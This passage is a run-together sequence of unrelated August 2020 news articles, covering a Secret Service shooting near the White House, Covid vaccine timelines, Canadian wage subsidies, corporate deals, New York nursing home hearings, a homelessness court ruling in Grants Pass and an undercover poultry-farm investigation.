concerted efforts from all stakeholders to end the herdsmen menace. Related A U.S. Secret Service agent tells President Donald Trump to leave the briefing room after shots were reported fired near the White House in Washington on Aug. 10, 2020. (Alex Wong/Getty Images) Trump: Not Clear If Shooting Suspect Near White House Had Bad Intentions President Donald Trump on Monday was abruptly escorted from a daily press conference at the White House, only to return to say that there was a shooting outside the building. He wasnt sure if the incident was connected to him and wasnt sure if the person who was shot had ill intentions. It might not have had to do with me. It might be something else, Trump told reporters, referring to the shooting which took place right outside the White House. The new fencing they put up is very powerful. But it was on the outside of the White House in a little while, the Secret Service will have a full report. President Donald Trump is asked to leave the James Brady Press Briefing Room by a member of the U.S. Secret Service during a news conference at the White House, on Aug. 10, 2020. (Andrew Harnik/AP Photo) He added that he was told the suspect may have been armed. The U.S. Secret Service wrote on Twitter: The Secret Service can confirm there has been an officer-involved shooting at 17th Street and Pennsylvania Ave. Law enforcement officials are on the scene. More information to follow. In another update around 8:00 p.m., the agency wrote, Update: the investigation into a USSS officer involved shooting is ongoing. A male subject and a USSS officer were both transported to a local hospital. At no time during this incident was the White House complex breached or were any protectees in danger. The District of Columbia fire department told The Associated Press that one man suffered serious or possibly critical injuries in the incident. The AP reported that officials are attempting to determine whether the suspect was mentally ill. Trump appeared unrattled by the incident. Do I appear rattled? he asked, saying he wants to continue with the press conference. Trump said, The world has always been a dangerous place. Its not something that is unique. You look back over the centuries, the world has been a dangerous place, very dangerous place, and it will continue, I guess, for a period of time. The president told journalists that he was taken to the Oval Office near the briefing room. (REUTERS) The Canada Emergency Wage Subsidy (CEWS) hasnt gotten the uptake Ottawa hoped for, with businesses calling it restrictive and confusing. Now, theres a new tool to help businesses take advantage of the emergency benefit to help Canadians make ends meet through COVID-19. The Canada Revenue Agency (CRA), with the help of the Canadian Federation of Independent Business (CFIB), launched a new and improved online calculator to help all types of businesses apply for the next period of the CEWS program, which opens for applications on August 17. CFIB was pleased to work with @CanRevAgency in developing its online calculator to help small employers determine their use of the wage subsidy (CEWS). Even if your business wasn't able to qualify under the old rules, I recommend giving CEWS another look. https://t.co/EMQtkvUVFT Dan Kelly (@CFIB) August 11, 2020 CEWS covers 75 per cent of the wages of workers at companies and non-profits that have experienced any drop in revenue during the pandemic. Previously, employers needed to show a 30 per cent drop, but that threshold was removed after backlash from businesses. The calculator asks employers to enter information to determine how much money they are eligible to receive. It also features a printable spreadsheet and statement features that employers can use to view their claim at a glance and enter information directly into the CEWS application. The CRA has been working around the clock to deliver the Government of Canadas COVID-19 response plan and the results have been outstanding. The Canada Emergency Wage Subsidy has enabled employers across the country to keep or re-hire millions of Canadians, said Diane Lebouthillier, Minister of National Revenue, in a release. Story continues The enhanced CEWS program launched today was redesigned to be more flexible and support a wider range of employers. I encourage all business owners to use the calculator to determine how this program can benefit them. CEWS has paid out $26.58 billion in subsidies to more than 275,000 employers. This pales in comparison to the Canada Emergency Benefit (CERB), which winds down at the end of the month, at $64.26 billion and 8.51 million unique applications. Unless it gets extended, CEWS ends on December 19. Jessy Bains is a senior reporter at Yahoo Finance Canada. Follow him on Twitter @jessysbains. Download the Yahoo Finance app, available for Apple and Android. (Bloomberg) -- Even if the most optimistic projections hold true and a Covid-19 vaccine is cleared for U.S. use in November, the vast majority of Americans wont be able to get the shots until spring or summer next year at the earliest. That likely timeline, based on interviews and remarks from top specialists including Anthony Fauci of the White House Coronavirus Task Force, means businesses, schoolchildren and families will continue to wait. In an interview, Fauci, who has also been involved with White Houses Operation Warp Speed vaccine program, said it may take until well into 2021 for vaccines to reach the much of the general public. I would hope that by the time we get well into the second half of 2021 that the companies will have delivered the hundreds of millions of doses they have promised, said Fauci. The reasons are many. US health regulators will have only a tiny sliver of the usual safety and efficacy data. The leading products require two doses, which will limit how many people early supplies can help. And government health officials are still developing a plan for who will get the shots, how theyll be distributed, and how their effectiveness and safety will be tracked afterward. For three, to six, to nine months, there will be more people wanting a vaccine than there are vaccines, said Stephane Bancel, chief executive officer of Moderna Inc., the biotechnology company developing one of the furthest-along inoculations. Bancel said he expects his companys product may get an emergency authorization from the Food and Drug Administration for a very narrow population at very high risk. Vaccines for the general population will need full FDA approval, which will likely take significantly longer, he said in an interview. Those comments run counter to the timeline portrayed by President Donald Trump, who has said a vaccine may be ready by election day on Nov. 3. Im pushing everybody. If you had another president other than me, you wouldnt be talking vaccines for two years. I will push it very hard, Trump said last week during a radio interview with Geraldo Rivera. But Im not doing it for votes, Im doing it because thats the right thing to do and Im doing it to save lives. On Monday in Washington, Trump echoed his ambitious timeline: I feel strongly that we will have a vaccine by the end of the year and itll be put in service maybe even as we get it, because were all set militarily, were using our military to distribute the vaccine. Limited Access Operation Warp Speed seeks to do whats never been done before: research, develop and produce a vaccine for a new virus in months. Its a monumental, risky undertaking that will probably result in billions of dollars of waste, but could shave years off of typical development timelines. But even if its successful, warp speed will move faster for some people than others. Two other key government officials described a gradually widening trickle of access over months and months, not the sudden, widespread availability of a vaccine. During an Aug. 7 presentation to a panel of experts convened by the National Academy of Medicine, which is helping decide who will be first in line for a shot, Operation Warp Speed chief adviser Moncef Slaoui said significant production ramp-up should start in November. It will continue accelerating over the following months until it is producing a very large number of doses on a monthly basis in the second quarter of 2021, Slaoui said. Along with $8 billion in U.S. funds granted for vaccine development and manufacturing through Warp Speed, the Health and Defense departments have doled out contracts totaling almost $500 million to increase domestic manufacturing of vials and prefilled syringes for Covid-19 vaccines. The consulting company Deloitte also has a $15 million contract to track vaccine distribution and administration. The firm didnt respond to a request for comment. On July 27, National Institutes of Health Director Francis Collins warned that the first round of vaccines will be carefully allocated. There will be tens of millions of doses at the time that the first vaccine gets approved, Collins said. It wont be enough for everybody, and so decisions will have to be made about priorities. Vaccine trials typically require tens of thousands of patients and months of follow up to show theyre safe enough to give to healthy people. A lack of long-term data could limit access until health officials can better assess any risks. Modernas trial has signed up about 10% of the 30,000 people it aims to enroll, Fauci said on Aug. 6. Trial participants need to get the shots, which are spaced apart, and then be monitored to find out if they get infected or have any side effects. By the early fall, the FDA may only have a few weeks of data. That may be enough to give the shot to health-care and other front-line workers and other groups at higher risk from the virus, but it almost certainly wont be enough for lower-risk people. That data wont come until next year, said Geoffrey Porges, an analyst at SVB Leerink, in a July 20 note to clients. The first announcement of federal clearance for a vaccine will more likely become a political event with the reality of the availability, effectiveness and utility of the vaccine falling far short of the promotion by government officials, he said. Early Plans Despite the demand for a vaccine and the logistical challenges of rolling it out to hundreds of millions of Americans, the Trump administration is still early in the planning phases for how that immense effort will go. The Department of Defense and the Centers for Disease Control and Prevention are expected to be heavily involved, and the role of the private sector is less clear. It may not be going through CVS, Fauci told Bloomberg, referring to the drugstore chain CVS Health Corp. The DOD together with the CDC is getting very involved in how you get the supply chain to the people. That has not yet been worked out. The Warp Speed program is also looking at using the military, said Jonathan Hoffman, the Pentagons chief spokesman, said during a press briefing July 30.The Defense Department is examining how do we take advantage of the commercial capability of the private sector to handle things like distribution, and where will either the DOD step in to help manage that process, or if necessary will DOD be required to step in and actually physically deliver items itself, he said. At least four states, California, Minnesota, North Dakota and Florida, are helping develop the early stages of a plan to distribute vaccine once its available, CQ Roll Call reported on Monday. The early stage plan is meant to explore model approaches on vaccine distribution, the publication reported, describing the program as a highly preliminary effort. In a message to Bloomberg, Californias Department of Public Health described the program as a joint planning mission. Floridas health department confirmed its participation, though said no agenda for the meeting had been set. In the meantime, companies and scientists developing the vaccines are rushing to get data to back their use, or move onto more promising targets. Pfizer Inc. and BioNTech SE, which have a competing vaccine, are also signing up patients. Pfizer CEO Albert Bourla said at a Washington Post event last week that the drugmaker expects rapid approval from the FDA, at least for emergency use, and will have enough of the shot to begin distribution this fall. The main goal right now is to make sure we have a vaccine, Bourla said. There are two enemies the virus, and time. (Adds Trump comment in the 10th paragraph) For more articles like this, please visit us at bloomberg.com 2020 Bloomberg L.P. TAIPEI (dpa-AFX) - Prudential Financial, Inc. (PRU) said Tuesday it has entered into a definitive agreement to sell Prudential Life Insurance Company of Taiwan Inc. to Taishin Financial Holding Co. Ltd., a Taiwan-based financial holding company. Under the terms of the agreement, Prudential Financial will sell its entire life insurance business in Taiwan. The company noted that the transaction is consistent with its strategic focus internationally on Japan and higher-growth emerging markets around the world. Established in 1989, Prudential of Taiwan sells individual whole life and other protection products to middle market and affluent consumers through Life Planners who provide customized plans and high-quality service. Prudential Financial said that its asset management business, PGIM, will remain active in the asset management industry in Taiwan through PGIM SITE. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. By David French, Clara Denina and Arno Schuetze NEW YORK/LONDON/FRANKFURT, Aug 11 (Reuters) - I Squared Capital is planning an auction to sell power firm Energia Group later this year, with the infrastructure fund aiming to secure a valuation of around 2 billion euros ($2.35 billion) including debt, sources familiar with the matter said. Called Viridian Group until a 2019 rebranding, Energia owns and operates around 1 gigawatt of renewable and conventional power generation in the Republic of Ireland and Northern Ireland, and provides gas and electricity to over 750,000 customers, according to its website. A sale process for Energia is expected to begin later this year, subject to market conditions, according to four sources, who spoke on condition of anonymity as the information is not public. I Squared and Energia declined to comment. I Squared acquired Energia in 2016 for 1 billion euros and ran an unsuccessful process to sell it in 2018. Since then, Energia has sought to boost its renewable energy portfolio amid a push by European policymakers to make power production greener. European oil producers are also pivoting away from hydrocarbons, as they aim to make themselves holistic energy companies, adding a new group of possible buyers for Energia. BP PLC said last week it planned to reduce its oil and gas production by 40% by 2030, while massively expanding into renewable energy, aiming at a 20-fold increase in renewables generation over the same period. When Eneco was sold earlier this year to a consortium led by Japans Mitsubishi Corp for 4.1 billion euros, the Dutch energy firm attracted interest from other oil producers, including Royal Dutch Shell PLC. In the year to March 31, Energia Group generated earnings before interest, tax, depreciation and amortization (EBITDA) of 157.2 million euros, and had net debt of 714.3 million euros at that time, according to its annual report. ($1 = 0.8498 euros) (Reporting by David French in New York, Clara Denina in London, and Arno Schuetze in Frankfurt; editing by Jonathan Oatis) After a day of hiking outside of Greenville, South Carolina, while wearing a N95 mask, Madhav Bhat, realized that the mask wasnt holding him back. He had been hearing a lot of people complaining about wearing masks and he wanted to do something to show that a few pieces of fabric won't stop people from enjoying the activities they love. So he laced up his running shoes and headed to the high school local track with some friends to run a what he calls the #maskedmile. I put two and two together and I was like, You know I bet I can run with the mask on, the 18-year-old from Greenville, South Carolina, told TODAY. We shot a video of me running the mile so that people know that it was safe, I didnt pass out in the middle or didnt take the mask off. After realizing that he could wear a N95 mask while hiking, Madhav Bhat and some friends wore a mask to run a mile, starting the #maskedmile challenge. (Courtesy Rajan Chitrao) Bhat ran track during high school and he remembered that in 2010 a runner won a long-distance race while wearing a mask because of allergies. So Madhav knew it was possible. Running is his favorite way to exercise and being able to use something he loves to encourage others to wear masks seemed like a real win. This is helping to normalize mask wearing just a little bit more, he said. Often he hears people worrying that wearing a mask causes them to develop a build up of carbon dioxide, which he knows is a myth. Thats why he hoped he could show how safe they were. One of the main arguments against a mask is that you're breathing in a large enough self-produced carbon. And so if you are actually doing that, you would be dead within five minutes, he said. You're breathing pretty hard when youre running and so if you were actually breathing carbon dioxide then you'd be done. Two sisters competed in the #maskedmile challenge - and clocked in at a seven-minute mile. (Courtesy Kayla Burrell) After he shared his video with the #maskedmile he garnered local media attention and soon others joined. Some people walked their miles, others biked and some ran more than a mile, like a runner who did six miles. You can do whatever you want with the challenge, Bhat said. The message is that you can do an activity with the mask. Story continues After Madhav Bhat ran a #maskedmile several of his friends and neighbors started to do their own runs in masks. But people got creative with some riding a bike, walking or even running more than a mile, all while wearing a mask. (Courtesy Lily Taylor) Bhat, who is going to the University of Michigan this year to study engineering, wants to dispel mask misinformation. While a lot of people balk at the idea of government mandated mask wearing, he notes that a lot of people wear seatbelts and abstain from drunk driving at the governments request. He sees mask wearing as yet another way people can be responsible. Its about being considerate to others. Im looking out for other people, he said. It is not just about doing it for yourself. Its a big deal for other people that may not be able to care for themselves, the people who are immunocompromised. The worlds last Blockbuster is offering movie fans the opportunity to spend the night in the store by booking through Airbnb. The opportunity to book a one-night stay in the last of the nearly defunct video rental stores, which only remains in Bend, Oregon, will be possible thanks to the propertys owner, Sandi Harding. As the last standing location in the world, our BLOCKBUSTER store is an ode to movie magic, simpler times and the sense of community that could once be found in BLOCKBUSTER locations around the world, Harding explains in the Airbnb listing. Starting on 17 August, residents of Deschutes County will be able to book the store, which has been transformed into a living room complete with TV and pull-out couch, for either 18, 19, or 20 September. According to the press release, guests who successfully book the store, which will be available for just $4, will be treated to all the movies your heart could desire. Whether you want to stay up until sunrise or pass out on the couch, weve created the perfect space complete with a pull-out couch, bean bags and pillows for you to cosy up with new releases from the 90s, the Airbnb listing reads. Crack open a two-litre of Pepsi before locking into a video game, charting your future in a game of MASH, or watching movie after movie. Due to Covid-19 regulations, those interested in renting the movie rental store for a 90s-themed sleepover should note that overnight guests must come from the same household. The listing also states that the store will be cleaned and sanitised between each stay in accordance to Airbnbs Enhanced Cleaning Protocol. Plus well provide you with a pack of face coverings, disinfectant wipes, and endless hand sanitiser, the listing adds. You can have a sleepover at the last remaining Blockbuster (Airbnb/Lauren Demitry) Those who arent eligible for the opportunity can visit the stores living room set-up as customers starting on 21 September or call the store for a personalised movie recommendation. You can find the Airbnb listing here. ALBANY State Health Commissioner Howard Zucker said he will not release the number of New Yorkers who became infected with COVID-19 in a nursing home and later died at a hospital until he can be sure the figures are accurate. Zucker was pressed to release the data Monday during the first of two joint legislative hearings intended to examine the state's pandemic response in long-term care facilities. While the Cuomo administration has attempted to clear itself of primary blame for nursing home deaths after taking heat for a policy that required those facilities to admit coronavirus patients, its critics argue the state is in no position to exonerate itself until a complete accounting of virus-related nursing home deaths has taken place. The state's current tally of more than 6,400 nursing home deaths only counts residents who died at their nursing facilities not the ones who became sick enough to require hospitalization before they died. Many believe the number would be much higher if these included. "I know that you want a number and I wish I could give you the number today, but I need to be sure it's absolutely accurate," Zucker told Sen. James Skoufis, who was the first of many lawmakers to ask the commissioner for the data Monday. Sen. Gustavo Rivera, another Democratic lawmaker, pointed out that the state initially collected and reported data on hospital deaths of nursing home residents, but then stopped. He claimed no other state defines nursing home deaths in the narrow way that New York chose to and suggested this was intentional. "It seems, sir, that in this case you are choosing to define it differently so that you can look better and that is a problem," Rivera said. New York has come under considerable fire for a March 25 directive that instructed nursing homes they could not turn away virus patients, and that prohibited requirements that those patients test negative before being admitted. Critics contend this worsened outbreaks and may even have introduced the virus into facilities where Cuomo himself said the virus would spread like fire through dry grass. In response to the criticism, the state Department of Health conducted an analysis of nursing home deaths and concluded that asymptomatic staff members and not the states admission policy were the likely source of spread. Perplexed as to how the state could conclude that without a full accounting of nursing home deaths, lawmakers asked Zucker if his department plans to amend the report once the full count has been tallied and whether he thinks the conclusion would change as a result. I think the conclusion of the report will remain the same on that, he responded. Zucker said the state wants to be sure it isn't counting deaths twice before it releases the data. On several occasions, he told lawmakers, "We are in the middle of a pandemic" when explaining why the data wasn't ready yet. The state's self-exonerating analysis was released a month ago. "None of us is trying to castigate y'all here for the very difficult work that had to be done," Rivera said. "But it seems to me that patting ourselves on the back for victories is a little bit far-fetched considering that we have still more deaths than anyone else in the country both at nursing homes and in overall deaths." As Zucker was being questioned, Cuomo appeared at a news conference in New York City and levied a blistering attack on President Donald J. Trumps handling of the COVID-19 pandemic, calling it the worst government blunder in modern history. Cuomo compared the situation to the Vietnam War the last time Americans turned on their televisions and saw a daily death count, he noted. Shame on all of you, Cuomo said of the Trump administration. Monday's hearing which also covered issues of personal protective equipment availability, staffing and visitation restrictions was part of a series of sessions the Legislature is holding to examine the state's pandemic response. New York was once the epicenter of the disease in the U.S., but after months of lockdown the spread of the disease ebbed. It is, however, exploding in much of the rest of the country. Lawmakers are hoping that a review of the pandemic response will better equip the state as it prepares for a possible second wave of the virus this fall. On Monday, they were able to question stakeholders from across the industry about why they think nursing homes were hit so hard and what could be done differently going forward. Acquiring PPE was especially difficult early on, a number of speakers testified. Staffing was also an issue, as employees fell ill with the virus themselves. Richard Mollot, executive director of the Long Term Care Community Coalition, said theres plenty of blame to go around when it comes to the states nursing home deaths. State and federal regulators have allowed facilities to get away with inadequate staffing for years, he said, and it shows in inspection data. Earlier: Was short staffing to blame for Capital Region nursing home outbreaks? The most cited deficiency last year was failure to provide appropriate infection control protocols, he said. All this stuff is basic, Mollot continued. ... Its using basic common sense of washing your hands or changing your gloves when you go from caring for one patient to another. Its not brain surgery. But it really comes down to staffing, because if you have enough staff and the staff are trained, then they know to do that. They dont have to rush from one resident to another. They can stop and wash their hands. Lawmakers should pass a safe staffing law that would limit the number of patients direct-care staff could care for at a given time, he recommended. The state Health Department was ordered to study the issue last year and issue a report to the Legislature by the end of 2019. That report has yet to be issued, but Zucker on Monday said it is slated for release on Aug. 14. Visitation was also a major source of concern at Mondays hearing. Residents have gone months without seeing loved ones in person, and family members and advocates believe its having an impact on their physical and mental health. The state authorized visitation to resume this summer at nursing facilities that have gone 28 days without a COVID-19 case, so long as they implement strict safety protocols. Lawmakers said few have been able to meet that standard, and families are suffering as a result. People are literally dying of depression, said Assemblyman Billy Jones. Theyre lonesome. Their families are suffering through this. I hear heartbreaking stories every single day. Zucker said approximately 34 percent of nursing homes statewide have resumed some form of visitation, and said the state is working to get facilities access to technology that would encourage virtual visits. Lawmakers noted that many nursing home residents have physical and cognitive issues that prevent them from using virtual technology. They encouraged the state to loosen visitation restrictions by enforcing safety in other ways, such as requiring visitors to provide proof of a negative COVID test prior to a visit or allowing supervised outdoor visits. Zucker said he understands the pain that families are going through, noting that hes only seen his mother through a glass window four times since the pandemic began. I want to help, but I also do not want (the virus) to spread, he said. The reason it goes back to the visitors is they live in the community and work in the community, right? And I just dont want this to spread. I recognize it; I am really, really empathetic about it. But Im trying to tell you I am trying to balance two things. A second hearing on the state's nursing home response is scheduled for Aug. 10. Chris Bragg contributed reporting. It is not right timing for China to join U.S.-Russia arms control talks: Chinese ambassador China's nuclear power is not at the same level as that of the United States and Russia, and it is not yet the right timing for China to join their nuclear disarmament talks, Chinese Ambassador to the United States Cui Tiankai has said. "All over the world, the United States and Russia have the largest nuclear arsenal ... this is international consensus. So they should take the lead in international nuclear disarmament," said Cui in an online interview with Nicholas Burns, executive director of the Aspen Strategy Group, and Andrea Mitchell, chief foreign affairs correspondent of NBC News, while attending the 2020 Aspen Security Forum on Aug. 4. "China has a very small amount of nuclear weapons. It's not at the same level. We are far behind the U.S. and Russia," Cui said. Only when the United States is ready to reduce its arsenal to the size of China's can both sides begin real negotiation, he said, adding, "I hope we could be given a very convincing answer." Noting that the United States and Russia are having "very important negotiations" on some existing nuke control treaties, such as the New Strategic Arms Reduction Treaty, Cui said the treaties are "extremely important for international strategic stability." "We hope these treaties could continue," he said. Grants Pass has joined Boise in eliciting a precedent-setting court ruling that could alter how cities nationwide cite and fine people living outside. A federal judge decided on July 22 that the Southern Oregon city of 37,500 violated its homeless residents Eighth Amendment rights by excluding them from parks without due process and citing them for sleeping outside. The ruling builds on 2018s landmark Martin v. City of Boise case that said cities cannot make it illegal to sleep or rest outside without providing people with sufficient indoor alternatives. Grants Pass City Attorney Mark Bartholomew said the city plans to appeal the decision. Last year, the U.S. Supreme Court refused to hear the Martin case, forcing cities around the country to rethink how their policies and law enforcement officials deal with growing homeless populations. In Grants Pass, homeless people have been showing up for years to the Oregon Law Center office with complaints that their ability to rest was made impossible by local ordinances. Debra Blake was one of them. She lost her job and then her housing about 10 years ago and has been homeless in Grants Pass since. At 7:30 a.m. Sept. 11, 2019, Blake was lying in her sleeping bag in Riverside Park when she was cited for illegal camping and prohibited conduct. Later that morning, the same officer gave her a ticket for criminal trespass on city property. Blake wasnt arrested, but the two tickets still came with fines that reached $885. She was also excluded from the parks. She appealed and two weeks later won, but she received no explanation why. Blake owes Grants Pass $5,000 in stacked up fines and fees related to being homeless. She is one of several people who joined the case, many with similar debts. U.S. Magistrate Judge Mark D. Clarke wrote a stinging rebuke of the way Grants Pass fines people living outside. Let us not forget that homeless individuals are citizens just as much as those fortunate enough to have a secure living space, he said. Clarkes opinion will likely have ramifications far beyond Grants Pass. Many cities and counties were shaken by the Boise example, which has been widely interpreted as saying that it is unconstitutional to arrest people for what are called sit-lie laws -- resting and sleeping in public -- if the jurisdiction does not provide adequate shelter or affordable housing. Clarkes ruling extends that prohibition to the fines and fees that make being homeless difficult. Many places have ordinances similar to Grants Passs with fees for living outside. Clarke pointed out in his opinion that such citations often require a court appearance, which homeless people often either dont know about because they dont have an address to receive mail from the court, or do not have the means or will to show up for. That results in failure to appear warrants that end in arrest the next time the person comes into contact with law enforcement -- an inevitability for many homeless people. Quality of life laws, even civil citations, contribute to a cycle of incarceration and recidivism, Clarke wrote. His ruling also left the door open for more court challenges to cities treatment of unhoused individuals. The Boise case was based in part on the Eighth Amendment -- that arresting homeless people for simply being homeless is cruel and unusual punishment. But Clarke went farther in the Grants Pass case, saying that the citys policies amount to excessive fines for doing something that all humans must do -- sleeping, staying dry, staying warm, sitting down -- only applied to a small group of humans. Those activities are just unavoidable and tied up in the status of being unhoused, said Ed Johnson, head of the Oregon Law Center. Johnson said that the decision still leaves room for cities and counties to regulate how and where people camp. I hope what cities take from it they have a wide range of tools at their disposal, but the tools are not punishing people in their community who have no choice but to be living outside, Johnson said. The National Law Center on Homelessness and Poverty joined the Oregon Law Center in taking Grants Pass to court. Tristia Bauman, senior attorney, said she hopes the Boise and Grants Pass cases push cities to rethink how they invest in homelessness now that both criminal and civil punishments can be unconstitutional, if broadly applied. The nature of the punishment is somewhat inconsequential, Bauman said. At the time of enforcement, the message is the same: You are engaged in some kind of law violation because you are living in public because you have no option but to do so. Grants Pass created its system of fines as part of a strategy to make it difficult to be homeless there. According to court documents, top city officials hoped that the stringent rules would encourage people to leave the city, even if they grew up there. About 70% to 80% of homeless people in Grants Pass are from the area, according to court documents. However, Clarke said that a jurisdiction doesnt have to intentionally dissuade homeless people from staying there to violate the Eighth Amendment. Arresting the homeless is almost never an adequate solution because, apart from the constitutional impediments, it is expensive, not rehabilitating, often a waste of limited public resources , and does nothing to serve those homeless individuals who suffer from mental illness and substance abuse addiction, Clarke said. -- Molly Harbarger mharbarger@oregonian.com | 503-294-5923 | @MollyHarbarger Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Unprofitable chicks at a farm supplying Tesco and Ocado were deliberately deprived of water and left to die of dehydration, an undercover investigation has found. Secret filming also shows how other baby birds deemed too small to be worth raising had their necks crushed or snapped by workers, causing a painful death. Some were left to die because they were too weak to feed themselves, it was claimed. An undercover activist for animal protection organisation Animal Equality, who was employed by the company, shot footage showing that at one farm workers raised the height of the drinkers every day for about 40 days, so that the smaller chicks those considered not profitable were unable to reach them. At two farms, workers were filmed crushing chickens necks in their hands so the farm did not waste food and water on those that would not be profitable. The investigator said that as a result, hundreds were suffering agonising deaths each day. McDonalds condemned for using chickens that suffer heart failure Show all 6 1 /6 McDonalds condemned for using chickens that suffer heart failure McDonalds condemned for using chickens that suffer heart failure Humane League UK McDonalds condemned for using chickens that suffer heart failure Humane League UK McDonalds condemned for using chickens that suffer heart failure Humane League UK McDonalds condemned for using chickens that suffer heart failure Humane League UK McDonalds condemned for using chickens that suffer heart failure Humane League UK McDonalds condemned for using chickens that suffer heart failure Humane League UK One farm manager was reported to have said: I can look at a day-old chick and say thats going to make 1.85[kg] at 32 days or its not; if it isnt, theres no point feeding it. Its cheaper to get rid of it and kill it. Because at the end of the day its about making money. All the farms are certified by Red Tractor, the UK scheme that claims to guarantee high standards of food and animal welfare. And the practices, filmed at farms operated by Moy Park, one of the UKs biggest chicken processors, flout animal-welfare law and government codes. Moy Park, which raises and kills more than 312 million birds each year, is the source of nearly a third of all the chicken sold in the UK. It is one of Europes 10 biggest poultry producers, supplying restaurants as well as smaller grocery stores. The undercover footage, taken at farms in the East Midlands, also suggests: Chicks developed raw skin burns on their feet and chests from urine-soaked floors Birds bred to grow so huge so rapidly that they suffered from leg injuries and were unable to carry the weight of their own bodies Chickens were crammed into barns so overcrowded they were barely able to move or stretch their wings Birds in sheds were filmed gasping for air because their hearts and lungs struggled to cope with their unnaturally huge bodies. Some struggled to walk, and others could not stand up. Other animal groups have previously said most chickens in UK farming are selectively bred so that they grow to the equivalent of a human baby weighing 28st at just three years old. The farm sheds housed around 30,000 birds, whereas in the wild, chickens would live in flocks of up to 12, according to Animal Equality. The governments animal-welfare codes require drinkers to be adjusted for height to allow all birds to drink. Recommended Suffering of chickens at farms supplying major supermarkets filmed If farm workers cull birds, it must be rapid and effective, and the activists says that breaking the chicks necks was against the regulations and the Animal Welfare Act. One worker was seen crushing a birds neck against the metal handle of a bucket. Andrew Knight, professor of animal welfare and ethics at the University of Winchester, said: On the basis of the existing scientific evidence, there are reasonable grounds for concern that some of these birds may have experienced periods of severe suffering prior to death. The investigator shot the films across two months, before the coronavirus pandemic, which delayed its release. Poultry accounts for half the meat eaten in the UK, with a billion birds slaughtered each year, a number that is growing, according to the British Poultry Council. Chicken is often considered healthier than red meat and involving less animal suffering. Abigail Penny, executive director of Animal Equality UK, said: These poor chickens never stood a chance. Workers killed vulnerable chicks at just a few days old, simply because they were no longer considered profitable. Recommended Thousands of chickens die in heatwave at farm supplying supermarkets Tesco and Ocado and others buying from this supplier are funding these practices. Last summer, thousands of chickens were found to have died at Kettlethorpe Farm, also owned by Moy Park, when kept in sheds with insufficient ventilation in a heatwave. A Moy Park spokesperson said: We treat this matter very seriously, and upon receipt of this video in March, we immediately initiated an investigation by our veterinary experts to ensure compliance with our animal welfare standards. A robust assessment of the farms and a review of the footage by an experienced veterinary surgeon specialising in poultry found that despite the examples highlighted, the overall flocks are displaying natural behaviours and appear in good health in most of the footage. The farms featured have also been investigated thoroughly by local authorities and regulators and no major breaches were identified. He added the company had implemented measures to ensure standards were adhered to, including refreshed training manuals, and upgraded face-to-face and online training. Any breach is completely unacceptable and would result in immediate corrective actions. This particular footage is edited with an agenda in mind, and we are confident that it is not reflective of the high standards and certified practices upheld across our wider farming community. A Tesco spokesperson said: We require all our suppliers to uphold high animal-welfare standards. We were made aware of this footage earlier this year and immediately investigated. The farms shown have been inspected by veterinary experts, local authorities and regulators. Where issues were found, Moy Park has implemented measures to ensure the required high standards are met. An Ocado spokesman said it was committed to the highest animal welfare levels and worked closely with suppliers to ensure they were adhered to, adding: All of our meat and dairy products meet the Red Tractor farm assurance standards (or international equivalent) as a minimum. Following an investigation by the Animal and Plant Health Agency (APHA), we are satisfied that this footage is not reflective of the practices at Moy Park and this is supported by evidence from veterinary experts. He said Ocado was confident Moy Park adhered to high welfare standards but it would continue to monitor the situation closely. Recommended Boris Johnson has flogged off the welfare of our animals after Brexit Andrew Opie, of the British Retail Consortium, said: Our members take their responsibilities to animal welfare very seriously. The BRC led the calls for the introduction of unannounced visits to farms across the UK to ensure compliance with all welfare standards. Any breaches to animal welfare are totally unacceptable and should be investigated immediately, with swift action taken to rectify any issues. A Red Tractor spokesperson said: We take animal welfare very seriously. All the farms in the footage were investigated by us and stakeholder partners including their vet, the APHA and trading standards to ensure there was a comprehensive account of farm practices. No evidence was found of breaches to legal requirements or Red Tractor standards. YPSILANTI, MI Three candidates will be interviewed to join the Ypsilanti City Council at Tuesday evenings meeting. Attorney Toi Dennis, emcee Lawrence Wartley Jr. and Chairman of 734 Brewing Company Brian Jones-Chance are all vying to represent Ward 1 on the seven-member elected body for the city. The position became vacant when the previous councilperson, Democrat Lois Richardson, was sworn in as mayor in June. Richardson was mayor pro-tem and Ward 1s representative, before she filled the mayors vacancy when Beth Bashert resigned. Dennis, Wartley and Jones-Chance will be interviewed on Aug. 11 at a special City Council virtual meeting. Council could also select a candidate at that time. The latest the other council members can vote a new member is at its next meeting, Aug. 18, City Clerk Andrew Hellenga said. Applicants are interested in addressing race, housing and transparency in government, among other things. Dennis, an Ypsilanti attorney practicing elder law, said she wants to be on City Council because she believes there is a duty to help others in the way that she has previously received help, according to her application. Dennis was previously on the Planning Commission from 2016 to 2019, is the president of the Vanzetti B. Hamilton Bar Association and a member of the State Bar of Michigans Diversity and Inclusion Committee, according to her resume. Dennis, 53, said her top priorities are addressing systemic racism, economic development and housing. I would like to see Ypsilanti truly become a place where everyone, no matter what, race, income, age, disability or sexual orientation, can call home and flourish, not just exist, she wrote in her application. Wartley, a 27-year resident of the area, said he wants to join the Council because he wants to ensure citizens rights are recognized, respected and enforced in line with the city charter. Wartley said his primary community involvement comes from hosting the downtown Fall Festival for 15 years as the emcee. His top priorities are adhering to the city charter, ensuring residents rights are prioritized over businesses and transparency in City Hall. He envisions Ypsilanti as a City where all voices can be positively heard, received, and respected, Wartley, 61, wrote in his application. Jones-Chance, a real estate agent and chairman and C.O.O. of 734 Brewing Company, said his experience as a member of the Ypsilanti Downtown Development Authority and founding director of the new Association of Businesses of Color could help give insight into balancing the needs of residents and businesses as a Council member. The 34-year-old resident said his top priorities would be to reduce disparities in policing, reduce barriers to housing and increase percentage of properties on tax rolls to improve funding of Ypsilanti schools and the library. My decision to apply is rooted in a deep love for my hometown and an ardent desire to be useful to it, he wrote. In the wake of recent events and in the current climate, I believe it is important to tirelessly put whatever skills I have to good use. Whoever is selected will serve the remainder of the Richardsons Ward 1 vacancy, ending Nov. 9, at the swearing in of the new City Council. Richardson is running for re-election in the ward in November 2020, along with Council Member Steve Wilcoxen, D-Ward 2 and Annie Somerville, D-Ward 3. No primary was held because the three incumbents were the only 